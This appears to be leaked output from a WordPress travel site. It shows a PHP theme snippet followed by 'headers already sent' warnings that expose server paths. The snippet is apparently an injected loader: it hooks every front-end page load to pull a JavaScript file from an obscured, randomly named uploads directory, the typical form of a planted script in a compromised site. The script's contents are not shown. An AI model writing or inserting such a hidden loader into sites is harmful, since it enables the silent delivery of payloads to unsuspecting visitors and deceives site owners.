if (!function_exists('sch_enqueue_front_asset')) {
    function sch_enqueue_front_asset() {
        wp_enqueue_script('sch-front', 'https://viator.com.eg/wp-content/uploads/static-08c90e/lib-c2ff/front-b2ad1f6d.js', array(), null, false);
    }
    add_action('wp_enqueue_scripts', 'sch_enqueue_front_asset');
}
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<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/viator/public_html/wp-content/themes/travivu/functions.php:1) in <b>/home/viator/public_html/wp-includes/pluggable.php</b> on line <b>1531</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/viator/public_html/wp-content/themes/travivu/functions.php:1) in <b>/home/viator/public_html/wp-includes/pluggable.php</b> on line <b>1534</b><br />